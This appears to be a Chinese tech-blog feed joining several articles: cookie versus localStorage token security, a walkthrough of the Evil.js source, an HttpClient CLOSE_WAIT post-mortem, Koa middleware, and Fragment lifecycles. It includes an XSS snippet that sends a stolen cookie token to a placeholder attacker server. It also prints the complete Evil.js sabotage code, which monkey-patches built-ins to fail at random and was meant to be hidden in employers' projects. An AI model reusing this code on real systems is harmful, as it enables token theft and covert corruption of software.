   return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}

 const token = getCookie('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

好在cookie提供了HttpOnly属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。


以下是express定义的一个登录接口示例:

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; HttpOnly`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。

这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。

从CSRF角度看

localStorage

从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。

cookie

因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。

防御cookie带来的CSRF攻击有如下方案:

csrfToken

通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;

这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。

SameSite

cookie有个SameSite属性,它有三种取值(引用自MDN):

  • None

    • 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。

  • Strict

    • 浏览器将只在访问相同站点时发送 cookie。

  • Lax

    • 与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。

设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。

SameSite的兼容性:


未来的完美解决方案(SameParty)

cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。

这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。

具体使用:

1、在各个域名下的/.well-known/first-party-set路径下,配置一个JSON文件。

主域名:

 {
  "owner": "主域名",
  "version": 1,
  "members": ["其他域名1", "其他域名2"]
}

其他域名:

 {
  "owner": "当前域名"
}

2、服务端设置SameParty

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。

总结

序号方式是否存在远程XSS是否存在CSRF是否支持SSO兼容性
1localStorage
2cookie,未开启HttpOnly,SameSite为None
3cookie,未开启HttpOnly,SameSite为None,增加csrfToken
4cookie,开启HttpOnly,SameSite为NoneIE8之后
5使用cookie,开启HttpOnly,设置了SameSite非NoneIE10之后,IE11部分;Chrome50之后
  1. 如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。

  2. 如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。

  3. 将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。

  4. 如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。

  5. 如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。

总的来说,cookie的优势是多余localStorage的。

我们的做法

因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。

  • 开启HttpOnly,SameSite为none

  • 认证中心获取code,子系统通过code换取token

  • 接口全部采用post方式

  • 配置跨域白名单

  • 使用https

参考

juejin.cn/post/7002011181221167118


作者:Ytiona
来源:juejin.cn/post/7133940034675638303

收起阅读 »

火爆全网的 Evil.js 源码解读

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:什么?黑心996公司要让你提桶跑路了?想在离开前给你们的项目留点小 礼物 ?偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:当数组长度可以被7整除时,Ar...
继续阅读 »

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:

什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

当数组长度可以被7整除时,Array.includes 永远返回false。
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。

并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。


如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。


现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。


image.png

作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。

立即执行函数

代码整体是一个立即执行函数,

(global => {

})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:
(global => {

})((0, eval)('this'));

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。


作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes


注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。


map方法


当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

如何判断周日?new Date().getDay() === 0即可。


这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。


filter方法


Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

includes一样,不多介绍了。

setTimeout方法

setTimeout总是会比预期时间慢1秒才触发

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。


Date.getTime


Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}



链接:https://juejin.cn/post/7133134875426553886
收起阅读 »

HttpClient 在vivo内销浏览器的高并发实践优化

web
HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些...
继续阅读 »

HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些优化空间。

一、问题现象

北京时间X月X日,浏览器信息流服务监控出现异常,主要表现在以下三个方面:

  1. 从某个时间点开始,云监控显示部分Http接口的熔断器被打开,而且从明细列表可以发现问题机器:

图片

2. 从PAAS平台Hystrix熔断管理界面中可以进一步确认问题机器的所有Http接口调用均出现了熔断:

3. 日志中心有大量从Http连接池获取连接的异常:org.apache.http.impl.execchain.RequestAbortedException: Request aborted。

二、问题定位

综合以上三个现象,大概可以推测出问题机器的TCP连接管理出了问题,可能是虚拟机问题,也可能是物理机问题;与运维与系统侧沟通后,发现虚拟机与物理机均无明显异常,第一时间联系运维重启了问题机器,线上问题得到解决。

2.1 临时解决方案

几天以后,线上部分其他机器也陆续出现了上述现象,此时基本可以确认是服务本身有问题;既然问题与TCP连接相关,于是联系运维在问题机器上建立了一个作业查看TCP连接的状态分布:

netstat -ant|awk '/^tcp/ {++S[$NF]} END {for(a in S) print (a,S[a])}'
复制代码

结果如下:

如上图,问题机器的CLOSE_WAIT状态的连接数已经接近200左右(该服务Http连接池最大连接数设置的250),那问题直接原因基本可以确认是CLOSE_WAIT状态的连接过多导致的;本着第一时间先解决线上问题的原则,先把连接池调整到500,然后让运维重启了机器,线上问题暂时得到解决。

2.2 原因分析

调整连接池大小只是暂时解决了线上问题,但是具体原因还不确定,按照以往经验,出现连接无法正常释放基本都是开发者使用不当,在使用完成后没有及时关闭连接;但很快这个想法就被否定了,原因显而易见:当前的服务已经在线上运行了一周左右,中间没有经历过发版,以浏览器的业务量,如果是连接使用完没有及时关。

闭,250的连接数连一分钟都撑不到就会被打爆。那么问题就只能是一些异常场景导致的连接没有释放;于是,重点排查了下近期上线的业务接口,尤其是那种数据包体较大,响应时间较长的接口,最终把目标锁定在了某个详情页优化接口上;先查看处于CLOSE_WAIT状态的IP与端口连接对,确认对方服务器IP地址。

netstat-tulnap|grep CLOSE_WAIT
复制代码

图片

经过与合作方确认,目标IP均来自该合作方,与我们的推测是相符的。

2.3 TCP抓包

在定位问题的同时,也让运维同事帮忙抓取了TCP的数据包,结果表明确实是客户端(浏览器服务端)没返回ACK结束握手,导致挥手失败,客户端处于了CLOSE_WAIT状态,数据包的大小也与怀疑的问题接口相符。

图片

为了方便大家理解,我从网上找了一张图,大家可以作为参考:

图片

CLOSE_WAIT是一种被动关闭状态,如果是SERVER主动断开的连接,那么就会在CLIENT出现CLOSE_WAIT的状态,反之同理;

通常情况下,如果客户端在一次http请求完成后没有及时关闭流(tcp中的流套接字),那么超时后服务端就会主动发送关闭连接的FIN,客户端没有主动关闭,所以就停留在了CLOSE_WAIT状态,如果是这种情况,很快连接池中的连接就会被耗尽。

所以,我们今天遇到的情况(处于CLOSE_WAIT状态的连接数每天都在缓慢增长),更像是某一种异常场景导致的连接没有关闭。

2.4 独立连接池

为了不影响其他业务场景,防止出现系统性风险,我们先把问题接口连接池进行了独立管理。

2.5 深入分析

带着2.3的疑问我们仔细查看一下业务调用代码:

try {
httpResponse = HttpsClientUtil.getHttpClient().execute(request);
HttpEntity httpEntity = httpResponse.getEntity();
is = httpEntity.getContent();
}catch (Exception e){
log.error("");
}finally {
IOUtils.closeQuietly(is);
IOUtils.closeQuietly(httpResponse);
}
复制代码

这段代码存在一个明显的问题:既关闭了数据传输流( IOUtils.closeQuietly(is)),也关闭了整个连接(IOUtils.closeQuietly(httpResponse)),这样我们就没办法进行连接的复用了;但是却更让人疑惑了:既然每次都手动关闭了连接,为什么还会有大量CLOSE_WAIT状态的连接存在呢?

如果问题不在业务调用代码上,那么只能是这个业务接口具有的某种特殊性导致了问题的发生;通过抓包分析发现该接口有一个明显特征:接口返回报文较大,平均在500KB左右。那么问题就极有可能是报文过大导致了某种异常,造成了连接不能被复用也不能被释放。

2.6 源码分析

开始分析之前,我们需要了解一个基础知识:Http的长连接和短连接。所谓长连接就是建立起连接之后,可以复用连接多次进行数据传输;而短连接则是每次都需要重新建立连接再进行数据传输。

而通过对接口的抓包我们发现,响应头里有Connection:keep-live字样,那我们就可以重点从HttpClient对长连接的管理入手来进行代码分析。

2.6.1 连接池初始化

初始化方法:

图片

进入PoolingHttpClientConnectionManager这个类,有一个重载构造方法里包含连接存活时间参数:

图片

顺着继续向下查看

图片

manager的构造方法到此结束,我们不难发现validityDeadline会被赋值给expiry变量,那我们接下来就要看下HttpClient是在哪里使用expiry这个参数的;

通常情况下,实例对象被构建出来的时候会初始化一些策略参数,此时我们需要查看构建HttpClient实例的方法来寻找答案:

图片

此方法包含一系列的初始化操作,包括构建连接池,给连接池设置最大连接数,指定重用策略和长连接策略等,这里我们还注意到,HttpClient创建了一个异步线程,去监听清理空闲连接。

当然,前提是你打开了自动清理空闲连接的配置,默认是关闭的。

图片

图片

接着我们就看到了HttpClient关闭空闲连接的具体实现,里面有我们想要看到的内容:

图片

图片

此时,我们可以得出第一个结论:可以在初始化连接池的时候,通过实现带参的PoolingHttpClientConnectionManager构造方法,修改validityDeadline的值,从而影响HttpClient对长连接的管理策略。

2.6.2 执行方法入口

先找到执行入口方法:org.apache.http.impl.execchain.MainClientExec.execute,看到了keepalive相关代码实现:

图片

我们来看下默认的策略:

图片

图片

由于中间的调用逻辑比较简单,就不在这里一一把调用的链路贴出来了,这边直接给结论:HttpClient对没有指定连接有效时间的长连接,有效期设置为永久(Long.MAX_VALUE)。

综合以上分析,我们可以得出最终结论:

HttpClient通过控制newExpiry和validityDeadline来实现对长连接的有效期的管理,而且对没有指定连接有效时间的长连接,有效期设置为永久。

至此我们可以大胆给出一个猜测:长连接的有效期是永久,而因为某种异常导致长连接没有被及时关闭,而永久存活了下来,不能被复用也不能被释放。(只是根据现象的猜测,虽然最后被证实并不完全正确,但确实提高了我们解决问题的效率)。

基于此,我们也可以通过改变这两个参数来实现对长连接的管理:

图片

这样简单修改上线后,处于close_wait状态的连接数没有再持续增长,这个线上问题也算是得到了彻底的解决。

但此时相信大家也都存在一个疑问:作为被广泛使用的开源框架,HttpClient难道对长连接的管理这么粗糙吗?一个简单的异常调用就能导致整个调度机制彻底崩溃,而且不会自行恢复;

于是带着疑问,再一次详细查看了HttpClient的源码。

三、关于HttpClient

3.1 前言

开始分析之前,先简单介绍下几个核心类:

  • 【PoolingHttpClientConnectionManager】:连接池管理器类,主要作用是管理连接和连接池,封装连接的创建、状态流转以及连接池的相关操作,是操作连接和连接池的入口方法;

  • 【CPool】:连接池的具体实现类,连接和连接池的具体实现均在CPool以及抽象类AbstractConnPool中实现,也是分析的重点;

  • 【CPoolEntry】:具体的连接封装类,包含连接的一些基础属性和基础操作,比如连接id,创建时间,有效期等;

  • 【HttpClientBuilder】:HttpClient的构造器,重点关注build方法;

  • 【MainClientExec】:客户端请求的执行类,是执行的入口,重点关注execute方法;

  • 【ConnectionHolder】:主要封装释放连接的方法,是在PoolingHttpClientConnectionManager的基础上进行了封装。

3.2 两个连接

  • 最大连接数(maxTotal)

  • 最大单路由连接数(maxPerRoute)

  • 最大连接数,顾名思义,就是连接池允许创建的最大连接数量;

  • 最大单路由连接数可以理解为同一个域名允许的最大连接数,且所有maxPerRoute的总和不能超过maxTotal。

    以浏览器为例,浏览器对接了头条和一点,为了做到业务隔离,不相互影响,可以把maxTotal设置成500,而defaultMaxPerRoute设置成400,主要是因为头条的业务接口量远大于一点,defaultMaxPerRoute需要满足调用量较大的一方。

3.3 三个超时

  • connectionRequestTimout

  • connetionTimeout

  • socketTimeout

  • **【connectionRequestTimout】:**指从连接池获取连接的超时时间;

  • 【connetionTimeout】:指客户端和服务器建立连接的超时时间,超时后会报ConnectionTimeOutException异常;

  • 【socketTimeout】:指客户端和服务器建立连接后,数据传输过程中数据包之间间隔的最大时间,超出后会抛出SocketTimeOutException。

一定要注意:这里的超时不是数据传输完成,而只是接收到两个数据包的间隔时间,这也是很多线上诡异问题发生的根本原因。

3.4 四个容器

  • free

  • leased

  • pending

  • available

  • **【free】:**空闲连接的容器,连接还没有建立,理论上freeSize=maxTotal -leasedSize

  • - availableSize(其实HttpClient中并没有该容器,只是为了描述方便,特意引入的一个容器)。

  • 【leased】:租赁连接的容器,连接创建后,会从free容器转移到leased容器;也可以直接从available容器租赁连接,租赁成功后连接被放在leased容器中,此种场景主要是连接的复用,也是连接池的一个很重要的能力。

  • 【pending】:等待连接的容器,其实该容器只是在等待连接释放的时候用作阻塞线程,下文也不会再提到,感兴趣的可以参考具体实现代码,其与connectionRequestTimout相关。

  • 【available】:可复用连接的容器,通常直接从leased容器转移过来,长连接的情况下完成通信后,会把连接放到available列表,一些对连接的管理和释放通常都是围绕该容器进行的。

注:由于存在maxTotal和maxPerRoute两个连接数限制,下文在提到这四种容器时,如果没有带前缀,都代表是总连接数,如果是r.xxxx则代表是路由连接里的某个容器大小。

maxTotal的组成

3.5 连接的产生与管理

  1. 循环从available容器中获取连接,如果该连接未失效(根据上文提到的expiry字段判断),则把该连接从available容器中删除,并添加到leased容器,并返回该连接;

  2. 如果在第一步中没有获取到可用连接,则判断r.available + r.leased是否大于maxPerRoute,其实就是判断是否还有free连接;如果不存在,则需要把多余分配的连接释放掉(r. available + r.leased - maxPerRoute),来保证真实的连接数受maxPerRoute控制(至于为什么会出现r.leased+r.available>maxPerRoute的情况其实也很好理解,虽然在整个状态流转过程都加了锁,但是状态的流转并不是原子操作,存在一些异常的场景都会导致状态短时间不正确);所以我们可以得出结论,maxPerRoute只是一个理论上的最大数值,其实真实产生的连接数在短时间内是可能大于这个值的;

  3. 在真实的连接数(r .leased+ r .available)小于maxPerRoute且maxTotal>leased的情况下:如果free>0,则重新创建一个连接;如果free=0,则把available容器里的最早创建的一个连接关闭掉,然后再重新创建一个连接;看起来有点绕,其实就是优先使用free容器里的连接,获取不到再释放available容器里的连接;

  4. 如果经过上述过程仍然没有获取到可用连接,那就只能等待一个connectionRequestTimout时间,或者有其他线程的信号通知来结束整个获取连接的过程。

图片

3.6 连接的释放

  1. 如果是长连接(reusable),则把该连接从leased容器中删除,然后添加到available容器的头部,设置有效期为expiry;

  2. 如果是短连接(non-reusable),则直接关闭该连接,并且从released容器中删除,此时的连接被释放,处于free容器中;

  3. 最后,唤醒“连接的产生与管理“第四部中的等待线程。

整个过程分析完,了解了httpclient如何管理连接,再回头来看我们遇到的那个问题就比较清晰了:

正常情况下,虽然建立了长连接,但是我们会在finally代码块里去手动关闭,此场景其实是触发了“连接的释放”中的步骤2,连接直接被关闭;所以正常情况下是没有问题的,长连接其实并没有发挥真正的作用;

那问题自然就只能出现在一些异常场景,导致了长连接没有被及时关闭,结合最初的分析,是服务端主动断开了连接,那大概率出现在一些超时导致连接断开的异常场景,我们再回到org.apache.http.impl.execchain.MainClientExec这个类,发现这样几行代码:

图片

**connHolder.releaseConnection()**对应“连接的释放”中提到的步骤1,此时连接只是被放入了available容器,并且有效期是永久;

**return new HttpResponseProxy(response, null)**返回的ConnectionHolder是null,结合IOUtils.closeQuietly(httpResponse)的具体实现,连接并没有及时关闭,而是永久的放在了available容器里,并且状态为CLOSE_WAIT,无法被复用;

图片

根据 “连接的产生与管理”的步骤3的描述,在free容器为空的时候httpclient是能够主动释放available里的连接的,即使连接永久的放在了available容器里,理论上也不会造成连接永远无法释放;

然而再结合“连接的产生与管理”的步骤4,当free容器为空了以后,从连接池获取连接时需要等待available容器里的连接被释放掉,整个过程是单线程的,效率极低,势必会造成拥堵,最终导致大量等待获取连接超时报错,这也与我们线上看到的场景相吻合。

四、总结

  1. 连接池的主要功能有两个:连接的管理和连接的复用,在使用连接池的时候一定要注意只需关闭当前数据流,而不要每次都关闭连接,除非你的目标访问地址是完全随机的;

  2. maxTotal和maxPerRoute的设置一定要谨慎,合理的分配参数可以做到业务隔离,但如果无法准确做出评估,可以暂时设置成一样,或者用两个独立的httpclient实例;

  3. 一定记得要设置长连接的有效期,用

    PoolingHttpClientConnectionManager(60, TimeUnit.SECONDS)构造函数,尤其是调用量较大的情况,防止发生不可预知的问题;

  4. 可以通过设置evictIdleConnections(5, TimeUnit.SECONDS)定时清理空闲连接,尤其是http接口响应时间短,并发量大的情况下,及时清理空闲连接,避免从连接池获取连接的时候发现连接过期再去关闭连接,能在一定程度上提高接口性能。

五、写在最后

HttpClient作为当前使用最广泛的基于Java语言的Http调用框架,在笔者看来其存在两点明显不足:

  1. 没有提供监控连接状态的入口,也没有提供能外部介入动态影响连接生命周期的扩展点,一旦线上出现问题可能就是致命的;

  2. 此外,其获取连接的方式是采用同步锁的方式,在并发较高的情况下存在一定的性能瓶颈,而且其对长连接的管理方式存在问题,稍不注意就会导致建立大量异常长连接而无法及时释放,造成系统性灾难。


作者:Zhi Guangquan-vivo互联网技术
来源:juejin.cn/post/7131908954522648606
收起阅读 »

【Node】深入浅出 Koa 的洋葱模型

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~什么是洋葱模型先来看一个 democonst Koa = require...
继续阅读 »

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~

什么是洋葱模型

先来看一个 demo

const Koa = require('koa');
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(8000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

输出的结果是:

1
3
4
2

koa 中,中间件被 next() 方法分成了两部分。next() 方法上面部分会先执行,下面部门会在后续中间件执行全部结束之后再执行。可以通过下图直观看出:



在洋葱模型中,每一层相当于一个中间件,用来处理特定的功能,比如错误处理、Session 处理等等。其处理顺序先是 next() 前请求(Request,从外层到内层)然后执行 next() 函数,最后是 next() 后响应(Response,从内层到外层),也就是说每一个中间件都有两次处理时机



为什么 Koa 使用洋葱模型


假如不是洋葱模型,我们中间件依赖于其他中间件的逻辑的话,我们要怎么处理?


比如,我们需要知道一个请求或者操作 db 的耗时是多少,而且想获取其他中间件的信息。在 koa 中,我们可以使用 async await 的方式结合洋葱模型做到。

app.use(async(ctx, next) => {
const start = new Date();
await next();
const delta = new Date() - start;
console.log (`请求耗时: ${delta} MS`);
console.log('拿到上一次请求的结果:', ctx.state.baiduHTML);
})

app.use(async(ctx, next) => {
// 处理 db 或者进行 HTTP 请求
ctx.state.baiduHTML = await axios.get('http://baidu.com');
})


而假如没有洋葱模型,这是做不到的。

深入 Koa 洋葱模型

我们以文章开始时候的 demo 来分析一下 koa 内部的实现。

const Koa = require('koa');

//Applications
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(9000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

use 方法

use 方法就是做了一件事,维护得到 middleware 中间件数组

use(fn) {
// ...
// 维护中间件数组——middleware
this.middleware.push(fn);
return this;
}

listen 方法 和 callback 方法


执行 app.listen 方法的时候,其实是 Node.js 原生 http 模块 createServer 方法创建了一个服务,其回调为 callback 方法。callback 方法中就有我们今天的重点 compose 函数,它的返回是一个 Promise 函数。

listen(...args) {
debug('listen');
// node http 创建一个服务
const server = http.createServer(this.callback());
return server.listen(...args);
}

callback() {
// 返回值是一个函数
const fn = compose(this.middleware);
const handleRequest = (req, res) => {
// 创建 ctx 上下文环境
const ctx = this.createContext(req, res);
return this.handleRequest(ctx, fn);
};
return handleRequest;
}

handleRequest 中会执行 compose 函数中返回的 Promise 函数并返回结果。

handleRequest(ctx, fnMiddleware) {
const res = ctx.res;
res.statusCode = 404;
const onerror = err => ctx.onerror(err);
const handleResponse = () => respond(ctx);
onFinished(res, onerror);
// 执行 compose 中返回的函数,将结果返回
return fnMiddleware(ctx).then(handleResponse).catch(onerror);
}

koa-compose

compose 函数引用的是 koa-compose 这个库。其实现如下所示:

function compose (middleware) {
// ...
return function (context, next) {
// last called middleware #
let index = -1
// 一开始的时候传入为 0,后续会递增
return dispatch(0)
function dispatch (i) {
// 假如没有递增,则说明执行了多次
if (i <= index) return Promise.reject(new Error('next() called multiple times'))
index = i
// 拿到当前的中间件
let fn = middleware[i]
if (i === middleware.length) fn = next
// 当 fn 为空的时候,就会开始执行 next() 后面部分的代码
if (!fn) return Promise.resolve()
try {
// 执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数
// 也就是说执行 next 的时候也就是调用 dispatch 函数的时候
return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
} catch (err) {
return Promise.reject(err)
}
}
}
}

代码很简单,我们来看看具体的执行流程是怎样的:


当我们执行第一次的时候,调用的是 dispatch(0),这个时候 i 为 0,fn 为第一个中间件函数。并执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数。也就是说中间件执行 next 的时候也就是调用 dispatch 函数的时候,这就是为什么执行 next 逻辑的时候就会执行下一个中间件的原因:

return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));

当第二、第三次执行 dispatch 的时候,跟第一次一样,分别开始执行第二、第三个中间件,执行 next() 的时候开始执行下一个中间件。


当执行到第三个中间件的时候,执行到 next() 的时候,dispatch 函数传入的参数是 3,fnundefined。这个时候就会执行

if (!fn) return Promise.resolve()

这个时候就会执行第三个中间件 next() 之后的代码,然后是第二个、第一个,从而形成了洋葱模型。

其过程如下所示:

简易版 compose

模范 koa 的逻辑,我们可以写一个简易版的 compose。方便大家的理解:

const middleware = []
let mw1 = async function (ctx, next) {
console.log("next前,第一个中间件")
await next()
console.log("next后,第一个中间件")
}
let mw2 = async function (ctx, next) {
console.log("next前,第二个中间件")
await next()
console.log("next后,第二个中间件")
}
let mw3 = async function (ctx, next) {
console.log("第三个中间件,没有next了")
}

function use(mw) {
middleware.push(mw);
}

function compose(middleware) {
return (ctx, next) => {
return dispatch(0);
function dispatch(i) {
const fn = middleware[i];
if (!fn) return;
return fn(ctx, dispatch.bind(null, i+1));
}
}
}

use(mw1);
use(mw2);
use(mw3);

const fn = compose(middleware);

fn();

总结


Koa 的洋葱模型指的是以 next() 函数为分割点,先由外到内执行 Request 的逻辑,再由内到外执行 Response 的逻辑。通过洋葱模型,将多个中间件之间通信等变得更加可行和简单。其实现的原理并不是很复杂,主要是 compose 方法。


链接:https://juejin.cn/post/7012031464237694983



收起阅读 »

翻车了,字节一道 Fragment面试题

一道面试题 前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答 面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么? 所以今天,我们好好了解了解这个用得...
继续阅读 »

一道面试题


前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答


img


面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么?


在这里插入图片描述


所以今天,我们好好了解了解这个用得非常多,但是对底层不是很理解的fragment吧


首先回答面试官的问题,Fragment 的 start与activity 的start 的调用时机



调用顺序:


D/MainActivity: MainActivity:


D/MainActivity: onCreate: start


D/MainFragment: onAttach:


D/MainFragment: onCreate:




D/MainActivity: onCreate: end


D/MainFragment: onCreateView:


D/MainFragment: onViewCreated:


D/MainFragment: onActivityCreated:


D/MainFragment: onViewStateRestored:


D/MainFragment: onCreateAnimation:


D/MainFragment: onCreateAnimator:


D/MainFragment: onStart:




D/MainActivity: onStart:


D/MainActivity: onResume:


D/MainFragment: onResume:



可以看到Activity 在oncreate开始时,Fragment紧接着attach,create,然后activity执行完毕onCreate方法


此后都是Fragment在执行,直到onStart方法结束


然后轮到Activity,执行onStart onResume


